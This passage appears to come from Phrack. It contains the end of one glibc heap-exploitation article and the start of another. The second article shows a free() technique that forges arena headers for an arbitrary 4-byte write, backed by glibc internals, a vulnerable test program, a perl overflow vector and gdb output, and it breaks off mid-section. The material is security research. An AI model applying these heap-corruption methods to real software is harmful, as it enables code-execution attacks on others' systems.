But that is not the most important thing here, the final question is: 

could you put the chunk in a place so that you can then control the area 

returned by "heap_for_ptr(ptr)->ar_ptr"? 

 

Remember that in the stack that would be something like "0xbff00000". It 

seems quite difficult reach an address like this even introducing a 

padding into environment. 

 

But again, all ways should be studied, you could find a new method, and 

perhaps you call it The House of Underground... 

 

 

 

                 << Los apasionados de Internet han encontrado 

                    en esta opcion una impensada oportunidad 

                    de volver a ilusionarse con el futuro. No 

                    solo algunos disfrutan como enanos; creen 

                    que este instrumento agiganta y que, acabada 

                    la fragmentacion entre unos y otros, se ha 

                    ingresado en la era de la conexion global. 

                    Internet no tiene centro, es una red de 

                    dibujo democratico y popular. >> 

 

                               [ V. Verdu: El enredo de la red ] 

 

 

 

 

           ---------------------------------------- 

---[ 5 ---[   ASLR and Nonexec Heap (The Future)   ]--- 

           ---------------------------------------- 

 

We have not discussed in this article about how to circumvent protections 

like memory address randomization (ASLR) and a non executable Heap . And 

we will not do, but something we can say about it. You should be aware 

that in all my basic exploits, I have hardcoded the majority of the 

addresses. 

 

This way of working is not very reliable in the days we live in... 

 

In all techniques presented in this paper, especially int The House of 

Spirit or The House of Force, where all comes down to a stack overflow, we 

guess that it would be applicable the methods described in other papers 

released in Phrack magazine or extern publications that explained how to 

bypass ASLR protection and others about how to return into mprotect ( ) to 

bypass a non exectuable heap and things like that. 
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Regarding to the first topic, we have a magic work, "Bypassing PaX ASLR 

protection" [11] by Tyler Durden in Phrack 59. 

 

On the other hand, circumvent a non executable heap whether if ASLR is 

present and our skills to find the real address of a function like 

mprotect( ) to allow us to change the permissions of the pages of memory. 

 

Since I started my little research and work to write this article, my goal 

has always been to leave this task as the homework for new hackers who 

have the strength to continue in this way. 

 

Finally, this is a new area for further research. 

 

 

 

                 << Todo tiene algo de belleza pero 

                    no todos son capaces de verlo. >> 

 

                                         [ Confucio ] 

 

 

 

           ------------------------- 

---[ 6 ---[   THE HOUSE OF PHRACK   ]--- 

           ------------------------- 

  

This is just a way so you can continue researching. There is a world full 

of possibilities, and most of them still aren't discovered. Do you want 

be the next? 

 

This is your house! 

 

 

To finish, because Phrack admits "spirit oriented" articles, I will 

venture to drop a simple comment. 

 

Anyone interested in Linux development had read ever interesting articles 

as "The Cathedral and the Bazar" and "Homesteading the Noosphere" of the 

arch-known founder of the Open Source movement, Eric S. Raymond. For this 

is not so, maybe they had read "Jargon File" or perhaps for others, the 

"Hacker How-To". It is the latter that we are interested, especially when 

Raymond mentions the following: 

 

   * Don't use a silly, grandiose user ID or screen name. 

 

   << The problem with screen names or handles deserves some 

      amplification. Concealing your identity behind a handle 

      is a juvenile and silly behavior characteristic of crackers, 

      warez d00dz, and other lower life forms. Hackers don't do 

      this; they're proud of what they do and want it associated 

      with their real names. So if you have a handle, drop it. 

      In the hacker culture it will only mark you as a loser. >> 

  

 

As far as I understand, this means that all those who had written in 

Phrack are childhood, crackers, lower life forms and are marked in the 

hacker culture as losers. 

 

Is there some connection between our name and our skills, philosophy 

of life or our ethics in hacking?  
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Me, in my sole opinion, if this is true, I am proud that Phrack admit into 

their lines to lower life forms. Lower life forms that have helped to 

raise the security level of the network of networks in ways unimaginable. 

 

To all of them, thanks!!! 

 

 

blackngel 

 

 

 

                         "Adormecida, ella yace 

                          con los ojos abiertos 

                como la ascensión del Angel hacia arriba 

                    Sus bellos ojos de disuelto azul 

                que responden ahora: "lo hare, lo hago! 

                la pregunta realizada hace tanto tiempo. 

 

                         Aunque ella debe gritar 

                              no lo parece 

                  lo que pronuncia es mas que un grito 

                     Yo se que el Angel debe llegar 

               para besarme suavemente, como mi estimulo 

                la aguja profunda penetra en sus ojos." 

 

              * Versos 4 y 5 de "El beso del Angel Negro" 
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---[ I. Introduction 

 

When articles [01] and [02] were released in Phrack 57, heap 

exploitation techniques became a common fashion. Various heap 

exploits were, and are still published on various security related 

lists and sites. Since then, the glibc code, and especially malloc.c, 

evolved dramatically and eventually, various heap protection schemes 

were added just to make exploitation harder. 

 

This article presents a new free() exploitation technique, different 

from those published at [06]. Yet, knowledge of [06] is assumed, 

as several concepts presented here are derived from the author's 

writings. Our technique makes use of 4 malloc() chunks (either 

directly allocated or fake ones constructed by the attacker) and 

achieves a '4 bytes anywhere' result. Our study focuses on the 

current situation of the glibc malloc() code and how one can bypass 

the security measures it imposes. The first two sections act as a 

flash back and as a rehash of older knowledge. Several important 

aspects regarding malloc() are also discussed. The aforementioned 

sections act as a foundation for the sections to follow. Finally, 

a real life scenario on ClamAV is presented as demonstration for 
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our technique. 

 

The glibc versions revised during the analysis were 2.3.6, 2.4, 2.5 

and 2.6 (the latest version at the time of writing). Version 2.3.6 

was chosen due to the fact that glibc versions greater or equal to 

2.3.5 include additional security precautions. Examples were not 

tested on systems running glibc 2.2.x since it is considered quite 

obsolete. 

 

This article assumes basic knowledge of malloc() internals as they 

are described in [01] and [02]. If you haven't read them yet then 

probably you should do so now. The reader is also urged to read 

[03], [04] and [05]. Experience on real life heap overflows is also 

suggested but not required. 

 

 

---[ II. Brief history of glibc heap exploitation 

 

It is of common belief that the first person to publicly talk about 

heap overflows was Solar Designer back in the July of 2000. His 

related advisory [07], introduced the unlink() technique which was 

also characterized as a non-trivial process. By that time, Solar 

Designer wouldn't even imagine that this would be the start of a 

new era in exploitation methods. It was only a year later, in the 

August of 2001, when a more formal standardization of the term 'heap 

overflow' essentially appeared, right after the release of Phrack 

articles [01] and [02] written by MaXX and anonymous respectively. 

In his article, MaXX admitted that the technique Solar Designer had 

published, was already known 'in the wild' and was successfully 

used on programs like Netscape browsers, traceroute, and slocate. 

A huge volume of discoveries and exploits utilizing the disclosed 

techniques hit the lights of publicity. Some of the most notable 

research done at that time were [03], [04] and [05]. 

 

In December 2003, Stefan Esser replies to some, innocent at the 

first sight, mail [08] announcing the availability of a dynamic 

library that protects against heap overflows. His own solution is 

very simple - just check that the 'fd' and 'bk' pointers are actually 

pointing where they should. His idea was then adopted by glibc-2.3.5 

along with other sanity checks thus rendering the unlink() and 

frontlink() techniques useless. The underground, at that time, 

assumes that pure malloc() heap overflows are gone but researchers 

sit back and start doing what they knew best, audit. The community 

remained silent for a long time. It is obvious that certain 0day 

techniques were developed but people appreciated their value and 

denied their disclosure. 

 

Fortunately, two persons decided to shed some light on the malloc() 

case. In 2005, Phatantasmal Phatasmagoria (the person responsible 

for the disclosure of the wilderness chunk exploitation techniques 

[09]) publishes the 'Malloc Malleficarum' [06]. His paper introduces 

5 new ways of bypassing the restrictions imposed by the latest glibc 

versions and is considered quite a masterpiece even today. In May 

the 27th 2007, g463 publishes [10], a very interesting paper 

describing a new technique exploiting set_head() and the topmost 

chunk. With this method, one could achieve an 'almost 4 bytes almost 

anywhere' condition. In this article, g463 explains how his technique 

can be used to flip the heap onto the stack and proves it by coding 

a neat exploit for file(1). The community receives another excellent 

paper which proves that exploitation is an art. 
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But enough about the past. Before entering a new chapter of the 

malloc() history, the author would like to clarify a few details 

regarding malloc() internals. It's actually the very basis of what 

will follow. 

 

 

---[ III. Various facts regarding the glibc malloc() implementation 

 

--[ 1. Chunk flags 

 

Probably, you are already familiar with the layout of the malloc() 

chunk header as well as with its 'size' and 'prev_size' fields. 

What is usually overlooked is the fact that apart from PREV_INUSE, 

the 'size' field may also contain two more flags, the IS_MMAPPED 

and the NON_MAIN_ARENA, the latter being the most interesting one. 

When the NON_MAIN_ARENA flag is set, it indicates that the chunk 

is part of an independent mmap()'ed memory region. 

 

--[ 2. Heaps, arenas and contiguity 

 

The malloc() interface does not guarantee contiguity but tries to 

achieve it whenever possible. In fact, depending on the underlying 

architecture and the compilation options, contiguity checks may not 

even be performed. When the system is hungry for memory, if the 

main (the default) arena is locked and busy serving other requests 

(requests possibly coming from other threads of the same process), 

malloc() will try to allocate and initialize a new mmap()'ed region, 

called a 'heap'. Schematically, a heap looks like the following 

figure. 

 

  ...+----------+-----------+---------+-...-+---------+... 

     | Heap hdr | Arena hdr | Chunk_1 |     | Chunk_n | 

  ...+----------+-----------+---------+-...-+---------+... 

 

The heap starts with a, so called, heap header which is physically 

followed by an arena header (also called a 'malloc state' or just 

'mstate'). Below, you can see the layout of these structures. 

 

--- snip --- 

typedef struct _heap_info { 

  mstate ar_ptr;           /* Arena for this heap   */  

  struct _heap_info *prev; /* Previous heap         */ 

  size_t size;             /* Current size in bytes */ 

  size_t mprotect_size;    /* Mprotected size       */ 

} heap_info; 

--- snip --- 

 

--- snip --- 

struct malloc_state { 

  mutex_t mutex;                   /* Mutex for serialized access */ 

  int flags;                       /* Various flags               */ 

  mfastbinptr fastbins[NFASTBINS]; /* The fastbin array           */ 

  mchunkptr top;                   /* The top chunk               */ 

  mchunkptr last_remainder;        /* The rest of a chunk split   */ 

  mchunkptr bins[NBINS * 2 - 2];   /* Normal size bins            */ 

  unsigned int binmap[BINMAPSIZE]; /* The bins[] bitmap           */ 

  struct malloc_state *next;       /* Pointer to the next arena   */ 

  INTERNAL_SIZE_T system_mem;      /* Allocated memory            */ 

  INTERNAL_SIZE_T max_system_mem;  /* Max memory available        */ 

}; 
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typedef struct malloc_chunk *mchunkptr; 

typedef struct malloc_chunk *mbinptr; 

typedef struct malloc_chunk *mfastbinptr; 

--- snip --- 

 

The heap header should always be aligned to a 1Mbyte boundary and 

since its maximum size is 1Mbyte, the address of a chunk's heap can 

be easily calculated using the following formula. 

 

--- snip --- 

#define HEAP_MAX_SIZE (1024*1024) 

 

#define heap_for_ptr(ptr) \ 

 ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))) 

--- snip --- 

 

Notice that the arena header contains a field called 'flags'. The 

3rd MSB of this integer indicates wether the arena is contiguous 

or not. If not, certain contiguity checks during malloc() and free() 

are ignored and never performed. By taking a closer look at the 

heap header, one can also notice that a field named 'ar_ptr' also 

exists, which of course, should point to the arena header of the 

current heap. Since the arena header physically borders the heap 

header, the 'ar_ptr' field can easily be calculated by adding the 

size of the heap_info structure to the address of the heap itself. 

 

--[ 3. The FIFO nature of the malloc() algorithm 

 

The glibc malloc() implementation is a first fit algorithm (as 

opposed to best fit algorithms). That is, when the user requests N 

bytes, the allocator searches for the first chunk with size bigger 

or equal to N. Then, the chunk is split, and one half (of size N) 

is returned to the user while the other half plays the role of the 

last remainder. Additionally, due to a feature called 'unsorted 

chunks', the heap blocks are returned back to the user in a FIFO 

fashion (the most recently free()'ed blocks are first scanned). 

This may allow an attacker to allocate a chunk within various heap 

holes that may have resulted after calling free() or realloc(). 

 

--- snip --- 

#include <stdio.h> 

#include <stdlib.h> 

 

int main() { 

  void *a, *b, *c; 

 

  a = malloc(16); 

  b = malloc(16); 

  fprintf(stderr, "a = %p | b = %p\n", a, b); 

 

  a = realloc(a, 32); 

  fprintf(stderr, "a = %p | b = %p\n", a, b); 

 

  c = malloc(16); 

  fprintf(stderr, "a = %p | b = %p | c = %p\n", a, b, c); 

   

  free(a);     

  free(b);     

  free(c);     

  return 0; 

} 
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--- snip --- 

 

This code will allocate two chunks of size 16. Then, the first chunk 

is realloc()'ed to a size of 32 bytes. Since the first two chunks 

are physically adjacent, there's not enough space to extend 'a'. 

The allocator will return a new chunk which, physically, resides 

somewhere after 'a'. Hence, a hole is created before the first 

chunk. When the code requests a new chunk 'c' of size 16, the 

allocator notices that a free chunk exists (actually, this is the 

most recently free()'ed chunk) which can be used to satisfy the 

request. The hole is returned to the user. Let's verify. 

 

--- snip --- 

$ ./test  

a = 0x804a050 | b = 0x804a068 

a = 0x804a080 | b = 0x804a068 

a = 0x804a080 | b = 0x804a068 | c = 0x804a050 

--- snip ---  

 

Indeed, chunk 'c' and the initial 'a', have the same address. 

 

--[ 4. The prev_size under our control 

 

A potential attacker always controls the 'prev_size' field of the 

next chunk even if they are unable to overwrite anything else. The 

'prev_size' lies on the last 4 bytes of the usable space of the 

attacker's chunk. For all you C programmers, there's a function 

called malloc_usable_size() which returns the usable size of 

malloc()'ed area given the corresponding pointer. Although there's 

no manual page for it, glibc exports this function for the end user. 

 

--[ 5. Debugging and options 

 

Last but not least, the signedness and size of the 'size' and 

'prev_size' fields are totally configurable. You can change them 

by resetting the INTERNAL_SIZE_T constant. Throughout this article, 

the author used a x86 32bit system with a modified glibc, compiled 

with the default options. For more info on the glibc compilation 

for debugging purposes see [11], a great blog entry written by 

Echothrust's Chariton Karamitas (hola dude!). 

 

 

---[ IV. In depth analysis on free()'s vulnerable paths 

 

--[ 1. Introduction 

 

Before getting into more details, the author would like to stress 

the fact that the technique presented here requires that the attacker 

is able to write null bytes. That is, this method targets read(), 

recv(), memcpy(), bcopy() or similar functions. The str*cpy() family 

of functions can only be exploited if certain conditions apply (e.g. 

when decoding routines like base64 etc are used). This is, actually, 

the only real life limitation that this technique faces. 

 

In order to bypass the restrictions imposed by glibc an attacker 

must have control over at least 4 chunks. They can overflow the 

first one and wait until the second is freed. Then, a '4 bytes 

anywhere' result is achieved (an alternative technique is to create 

fake chunks rather than expecting them to be allocated, just read 

on). Finding 4 contiguous chunks in the system memory is not a 

serious matter. Just consider the case of a daemon allocating a 
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buffer for each client. The attacker can force the daemon to allocate 

contiguous buffers into the heap by repeatedly firing up connections 

to the target host. This is an old technique used to stabilize the 

heap state (e.g in openssl-too-open.c). Controlling the heap memory 

allocation and freeing is a fundamental precondition required to 

build any decent heap exploit after all. 

 

Ok, let's start the actual analysis. Consider the following piece 

of code. 

 

--- snip --- 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <sys/types.h> 

#include <unistd.h> 

 

int main(int argc, char *argv[]) { 

  char *ptr, *c1, *c2, *c3, *c4; 

  int i, n, size; 

 

  if(argc != 3) { 

    fprintf(stderr, "%s <n> <size>\n", argv[0]); 

    return -1; 

  } 

 

  n = atoi(argv[1]); 

  size = atoi(argv[2]); 

 

  for(i = 0; i < n; i++) { 

    ptr = malloc(size); 

    fprintf(stderr, "[~] Allocated %d bytes at %p-%p\n", 

      size, ptr, ptr+size); 

  } 

 

  c1 = malloc(80); 

  fprintf(stderr, "[~] Chunk 1 at %p\n", c1); 

 

  c2 = malloc(80); 

  fprintf(stderr, "[~] Chunk 2 at %p\n", c2); 

 

  c3 = malloc(80); 

  fprintf(stderr, "[~] Chunk 3 at %p\n", c3); 

 

  c4 = malloc(80); 

  fprintf(stderr, "[~] Chunk 4 at %p\n", c4); 

 

  read(fileno(stdin), c1, 0x7fffffff); /* (1) */ 

 

  fprintf(stderr, "[~] Freeing %p\n", c2); 

  free(c2); /* (2) */ 

 

  return 0; 

} 

--- snip --- 

 

This is a very typical situation on many programs, especially network 

daemons. The for() loop emulates the ability of the user to force 

the target program perform a number of allocations, or just indicates 

that a number of allocations have already taken place before the 

attacker is able to write into a chunk. The rest of the code allocates 
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four contiguous chunks. Notice that the first one is under the 

attacker's control. At (2) the code calls free() on the second 

chunk, the one physically bordering the attacker's block. To see 

what happens from there on, one has to delve into the glibc free() 

internals. 

 

When a user calls free() within the userspace, the wrapper __libc_free() 

is called. This wrapper is actually the function public_fREe() 

declared in malloc.c. Its job is to perform some basic sanity checks 

and then control is passed to _int_free() which does the hard work 

of actually freeing the chunk. The whole code of _int_free() consists 

of a 'if', 'else if' and 'else' block, which handles chunks depending 

on their properties. The 'if' part handles chunks that belong to 

fast bins (i.e whose size is less than 64 bytes), the 'else if' 

part is the one analyzed here and the one that handles bigger chunks. 

The last 'else' clause is used for very big chunks, those that were 

actually allocated by mmap(). 

 

--[ 2. A trip to _int_free() 

 

In order to fully understand the structure of _int_free(), let us 

examine the following snippet. 

 

--- snip --- 

void _int_free(...) { 

  ... 

 

  if(...) { 

    /* Handle chunks of size less than 64 bytes. */ 

  } 

  else if(...) { 

    /* Handle bigger chunks. */ 

  } 

  else { 

    /* Handle mmap()ed chunks. */ 

  } 

} 

--- snip --- 

 

One should actually be interested in the 'else if' part which handles 

chunks of size larger than 64 bytes. This means, of course, that 

the exploitation method presented here works only for such chunk 

sizes but this is not much of a big obstacle as most everyday 

applications allocate chunks usually larger than this. 

 

So, let's see what happens when _int_free() is eventually reached. 

Imagine that 'p' is the pointer to the second chunk (the chunk named 

'c2' in the snippet of the previous section), and that the attacker 

controls the chunk just before the one passed to _int_free(). Notice 

that there are two more chunks after 'p' which are not directly 

accessed by the attacker. Here's a step by step guide to _int_free(). 

Make sure you read the comments very carefully. 

 

--- snip --- 

/* Let's handle chunks that have a size bigger than 64 bytes 

 * and that are not mmap()ed.  

 */ 

else if(!chunk_is_mmapped(p)) {  

  /* Get the pointer to the chunk next to the one  

   * being freed. This is the pointer to the third  

   * chunk (named 'c3' in the code). 
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   */ 

  nextchunk = chunk_at_offset(p, size); 

 

  /* 'p' (the chunk being freed) is checked whether it  

   * is the av->top (the topmost chunk of this arena).  

   * Under normal circumstances this test is passed. 

   * Freeing the wilderness chunk is not a good idea  

   * after all. 

   */ 

  if(__builtin_expect(p == av->top, 0)) { 

    errstr = "double free or corruption (top)"; 

    goto errout; 

  } 

  

  ... 

  ... 

--- snip --- 

 

So, first _int_free() checks if the chunk being freed is the top 

chunk. This is of course false, so the attacker can ignore this 

test as well as the following three. 

 

--- snip --- 

  /* Another lightweight check. Glibc checks here if  

   * the chunk next to the one being freed (the third  

   * chunk, 'c3') lies beyond the boundaries of the  

   * current arena. This is also kindly passed. 

   */ 

  if(__builtin_expect(contiguous(av) 

    && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0)) { 

      errstr = "double free or corruption (out)"; 

      goto errout; 

  } 

 

  /* The PREV_INUSE flag of the third chunk is checked.  

   * The third chunk indicates that the second chunk 

   * is in use (which is the default). 

   */ 

  if(__builtin_expect(!prev_inuse(nextchunk), 0)) { 

    errstr = "double free or corruption (!prev)"; 

    goto errout; 

  } 

 

  /* Get the size of the third chunk and check if its  

   * size is less than 8 bytes or more than the system  

   * allocated memory. This test is easily bypassed  

   * under normal circumstances. 

   */  

  nextsize = chunksize(nextchunk); 

  if(__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0) 

    || __builtin_expect(nextsize >= av->system_mem, 0)) { 

      errstr = "free(): invalid next size (normal)"; 

      goto errout; 

  } 

 

  ... 

  ... 

--- snip ---     

 

Glibc will then check if backward consolidation should be performed. 

Remember that the chunk being free()'ed is the one named 'c2' and 
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that 'c1' is under the attacker's control. Since 'c1' physically 

borders 'c2', backward consolidation is not feasible. 

 

--- snip --- 

  /* Check if the chunk before 'p' (named 'c1') is in  

   * use and if not, consolidate backwards. This is false.  

   * The attacker controls the first chunk and this code  

   * is skipped as the first chunk is considered in use  

   * (the PREV_INUSE flag of the second chunk is set). 

   */ 

  if(!prev_inuse(p)) { 

    ... 

    ... 

  } 

--- snip ---     

 

The most interesting code snippet is probably the one below: 

  

--- snip --- 

  /* Is the third chunk the top one? If not then... */  

  if(nextchunk != av->top) { 

    /* Get the prev_inuse flag of the fourth chunk (i.e  

     * 'c4'). One must overwrite this in order for glibc  

     * to believe that the third chunk is in use. This  

     * way forward consolidation is avoided. 

     */ 

    nextinuse = inuse_bit_at_offset(nextchunk, nextsize); 

   

    ... 

    ... 

 

    /* (1) */ 

    bck = unsorted_chunks(av); 

    fwd = bck->fd;  

    p->bk = bck; 

    p->fd = fwd; 

    /* The 'p' pointer is controlled by the attacker.  

     * It's the prev_size field of the second chunk  

     * which is accessible at the end of the usable  

     * area of the attacker's chunk. 

     */ 

    bck->fd = p; 

    fwd->bk = p; 

 

    ... 

    ... 

  } 

--- snip --- 

 

So, (1) is eventually reached. In case you didn't notice this is 

an old fashioned unlink() pointer exchange where unsorted_chunks(av)+8 

gets the value of 'p'. Now recall that 'p' points to the 'prev_size' 

of the chunk being freed, a piece of information that the attacker 

controls. So assuming that the attacker somehow forces the return 

value of unsorted_chunks(av)+8 to point somewhere he pleases (e.g 

.got or .dtors) then the pointer there gets the value of 'p'. 

'prev_size', being a 32bit integer, is not enough for storing any 

real shellcode, but it's enough for branching anywhere via JMP 

instructions. Let's not cope with such minor details yet, here's 

how one may force free() to follow the aforementioned code path. 
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--- snip --- 

$ # 72 bytes of alphas for the data area of the first chunk 

$ # 4 bytes prev_size of the next chunk (still in the data area) 

$ # 4 bytes size of the second chunk (PREV_INUSE set) 

$ # 76 bytes of garbage for the second chunk's data 

$ # 4 bytes size of the third chunk (PREV_INUSE set) 

$ # 76 bytes of garbage for the third chunk's data 

$ # 4 bytes size of the fourth chunk (PREV_INUSE set) 

$ perl -e 'print "A" x 72,  

> "\xef\xbe\xad\xde",  

> "\x51\x00\x00\x00",  

> "B" x 76, 

> "\x51\x00\x00\x00",  

> "C" x 76,  

> "\x51\x00\x00\x00"' > VECTOR 

$ ldd ./test 

        linux-gate.so.1 =>  (0xb7fc0000) 

        libc.so.6 => /home/huku/test_builds/lib/libc.so.6 (0xb7e90000) 

        /home/huku/test_builds/lib/ld-linux.so.2 (0xb7fc1000) 

$ gdb -q ./test 

(gdb) b _int_free 

Function "_int_free" not defined. 

Make breakpoint pending on future shared library load? (y or [n]) y 

Breakpoint 1 (_int_free) pending. 

(gdb) run 1 80 < VECTOR 

Starting program: /home/huku/test 1 80 < VECTOR 

[~] Allocated 80 bytes at 0x804a008-0x804a058 

[~] Chunk 1 at 0x804a060 

[~] Chunk 2 at 0x804a0b0 

[~] Chunk 3 at 0x804a100 

[~] Chunk 4 at 0x804a150 

[~] Freeing 0x804a0b0 

 

Breakpoint 1, _int_free (av=0xb7f85140, mem=0x804a0b0) at malloc.c:4552 

4552      p = mem2chunk(mem); 

(gdb) step 

4553      size = chunksize(p); 

... 

... 

(gdb) step  

4688          bck = unsorted_chunks(av); 

(gdb) step 

4689          fwd = bck->fd; 

(gdb) step 

4690          p->fd = fwd; 

(gdb) step 

4691          p->bk = bck; 

(gdb) step 

4692          if (!in_smallbin_range(size)) 

(gdb) step 

4697          bck->fd = p; 

(gdb) print (void *)bck->fd 

$1 = (void *) 0xb7f85170 

(gdb) print (void *)p 

$2 = (void *) 0x804a0a8 

(gdb) x/4bx (void *)p 

0x804a0a8:      0xef    0xbe    0xad    0xde 

(gdb) quit 

The program is running.  Exit anyway? (y or n) y 

--- snip --- 
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So, 'bck->fd' has a value of 0xb7f85170, which is actually the 'fd' 

field of the first unsorted chunk. Then, 'fd' gets the value of 'p' 

which points to the 'prev_size' of the second chunk (called 'c2' 

in the code snippet). The attacker places the value 0xdeadbeef over 

there. Eventually, the following question arises: How can one control 

unsorted_chunks(av)+8? Giving arbitrary values to unsorted_chunks() 

may result in a '4 bytes anywhere' condition, just like the old 

fashioned unlink() technique. 

 

 

 

---[ V. Controlling unsorted_chunks() return value 

 

The unsorted_chunks() macro is defined as follows. 

 

--- snip --- 

#define unsorted_chunks(M) (bin_at(M, 1)) 

--- snip --- 

 

--- snip --- 

#define bin_at(m, i) \ 

  (mbinptr)(((char *)&((m)->bins[((i) - 1) * 2])) \ 

    - offsetof(struct malloc_chunk, fd)) 

--- snip --- 

 

The 'M' and 'm' parameters of these macros refer to the arena where 

a chunk belongs. A real life usage of unsorted_chunks() is briefly 

shown below. 

 

--- snip --- 

ar_ptr = arena_for_chunk(p); 

... 

... 

bck = unsorted_chunks(ar_ptr); 

--- snip --- 

 

The arena for chunk 'p' is first looked up and then used in the 

unsorted_chunks() macro. What is now really interesting is the way 

the malloc() implementation finds the arena for a given chunk. 

 

--- snip --- 

#define arena_for_chunk(ptr) \ 

 (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena) 

--- snip --- 

 

--- snip --- 

#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) 

--- snip --- 

 

--- snip --- 

#define heap_for_ptr(ptr) \ 

 ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))) 

--- snip --- 

 

For a given chunk (like 'p' in the previous snippet), glibc checks 

whether this chunk belongs to the main arena by looking at the 

'size' field. If the NON_MAIN_ARENA flag is set, heap_for_ptr() is 

called and the 'ar_ptr' field is returned. Since the attacker 

controls the 'size' field of a chunk during an overflow condition, 

she can set or unset this flag at will. But let's see what's the 

return value of heap_for_ptr() for some sample chunk addresses. 
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--- snip --- 

#include <stdio.h> 

#include <stdlib.h> 

 

#define HEAP_MAX_SIZE (1024*1024) 

 

#define heap_for_ptr(ptr) \ 

 ((void *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))) 

 

int main(int argc, char *argv[]) { 

  size_t i, n; 

  void *chunk, *heap; 

 

  if(argc != 2) { 

    fprintf(stderr, "%s <n>\n", argv[0]); 

    return -1; 

  } 

 

  if((n = atoi(argv[1])) <= 0)  

    return -1; 

 

  chunk = heap = NULL; 

  for(i = 0; i < n; i++) { 

     while((chunk = malloc(1024)) != NULL) { 

       if(heap_for_ptr(chunk) != heap) { 

         heap = heap_for_ptr(chunk); 

         break; 

       } 

     } 

 

     fprintf(stderr, "%.2d heap address: %p\n", 

       i+1, heap); 

  } 

 

  return 0; 

} 

--- snip --- 

 

Let's compile and run. 

 

--- snip --- 

$ ./test 10 

01 heap address: 0x8000000 

02 heap address: 0x8100000 

03 heap address: 0x8200000 

04 heap address: 0x8300000 

05 heap address: 0x8400000 

06 heap address: 0x8500000 

07 heap address: 0x8600000 

08 heap address: 0x8700000 

09 heap address: 0x8800000 

10 heap address: 0x8900000 

--- snip --- 

 

This code prints the first N heap addresses. So, for a chunk that 

has an address of 0xdeadbeef, its heap location is at most 1Mbyte 

backwards. Precisely, chunk 0xdeadbeef belongs to heap 0xdea00000. 

So if an attacker controls the location of a chunk's theoretical 

heap address, then by overflowing the 'size' field of this chunk, 

they can fool free() to assume that a valid heap header is stored 
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there. Then, by carefully setting up fake heap and arena headers, 

an attacker may be able to force unsorted_chunks() to return a value 

of their choice. 

 

This is not a rare situation; in fact this is how most real life 

heap exploits work. Forcing the target application to perform a 

number of continuous allocations, helps the attacker control the 

arena header. Since the heap is not randomized and the chunks are 

sequentially allocated, the heap addresses are static and can be 

used across all targets! Even if the target system is equipped with 

the latest kernel and has heap randomization enabled, the heap 

addresses can be easily brute forced since a potential attacker 

only needs to know the upper part of an address rather than some 

specific location in the virtual address space. 

 

Notice that the code shown in the previous snippet always produces 

the same results and precisely the ones depicted above. That is, 

given the approximation of the address of some chunk one tries to 

overflow, the heap address can be easily precalculated using 

heap_for_ptr(). 

 

For example, suppose that the last chunk allocated by some application 

is located at the address 0x080XXXXX. Suppose that this chunk belongs 

to the main arena, but even If it wouldn't, its heap address would 

be 0x080XXXXX & 0xfff00000 = 0x08000000. All one has to do is to 

force the application perform a number of allocations until the 

target chunk lies beyond 0x08100000. Then, if the target chunk has 

an address of 0x081XXXXX, by overflowing its 'size' field, one can 

make free() assume that it belongs to some heap located at 0x08100000. 

This area is controlled by the attacker who can place arbitrary 

data there. When public_fREe() is called and sees that the heap 

address for the chunk to be freed is 0x08100000, it will parse the 

data there as if it were a valid arena. This will give the attacker 

the chance to control the return value of unsorted_chunks(). 

 

 

---[ VI. Creating fake heap and arena headers  

 

Once an attacker controls the contents of the heap and arena headers, 

what are they supposed to place there? Placing random arbitrary 

values may result in the target application getting stuck by entering 

endless loops or even segfaulting before its time, so, one should 

be careful in not causing such side effects. In this section, we 

deal with this problem. Proper values for various fields are shown 

and an exploit for our example code is developed. 

 

Right after entering _int_free(), do_check_chunk() is called in 

order to perform lightweight sanity checks on the chunk being freed. 

Below is a code snippet taken from the aforementioned function. 

Certain pieces were removed for clarity. 

 

--- snip --- 

char *max_address = (char*)(av->top) + chunksize(av->top); 

char *min_address = max_address - av->system_mem; 

 

if(p != av->top) { 

  if(contiguous(av)) { 

    assert(((char*)p) >= min_address); 

    assert(((char*)p + sz) <= ((char*)(av->top))); 

  } 

} 
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--- snip --- 

 

The do_check_chunk() code fetches the pointer to the topmost chunk 

as well as its size. Then 'max_address' and 'min_address' get the 

values of the higher and the lower available address for this arena 

respectively. Then, 'p', the pointer to the chunk being freed is 

checked against the pointer to the topmost chunk. Since one should 

not free the topmost chunk, this code is, under normal conditions, 

bypassed. Next, the arena named 'av', is tested for contiguity. If 

it's contiguous, chunk 'p' should fall within the boundaries of its 

arena; if not the checks are kindly ignored. 

 

So far there are two restrictions. The attacker should provide a 

valid 'av->top' that points to a valid 'size' field. The next set 

of restrictions are the assert() checks which will mess the 

exploitation. But let's first focus on the macro named contiguous(). 

 

--- snip --- 

#define NCONTIGUOUS_BIT  (2U) 

#define contiguous(M)    (((M)->flags & NONCONTIGUOUS_BIT) == 0) 

--- snip --- 

 

Since the attacker controls the arena flags, if they set it to some 

integer having the third least significant bit set, then contiguous(av) 

is false and the assert() checks are ignored. Additionally, providing 

an 'av->top' pointer equal to the heap address, results in 'max_address' 

and 'min_address' getting valid values, thus avoiding annoying 

segfaults due to invalid pointer accesses. It seems that the first 

set of problems was easily solved. 

 

Do you think it's over? Hell no. After some lines of code are 

executed, _int_free() uses the macro __builtin_expect() to check 

if the size of the chunk right next to the one being freed (the 

third chunk) is larger than the total available memory of the arena. 

This is a good measure for detecting overflows and any decent 

attacker should get away with it. 

 

--- snip --- 

nextsize = chunksize(nextchunk); 

if(__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0) 

  || __builtin_expect(nextsize >= av->system_mem, 0)) { 

    errstr = "free(): invalid next size (normal)"; 

    goto errout; 

}  

--- snip --- 

 

By setting 'av->system_mem' equal to 0xffffffff, one can bypass any 

check regarding the available memory and obviously this one as well. 

Although important for the internal workings of malloc(), the 

'av->max_system_mem' field can be zero since it won't get on the 

attacker's way. 

 

Unfortunately, before even reaching _int_free(), in public_fREe(), 

the mutex for the current arena is locked. Here's the snippet trying 

to achieve a valid lock sequence. 

 

--- snip --- 

#if THREAD_STATS 

  if(!mutex_trylock(&ar_ptr->mutex)) 

    ++(ar_ptr->stat_lock_direct); 

  else { 
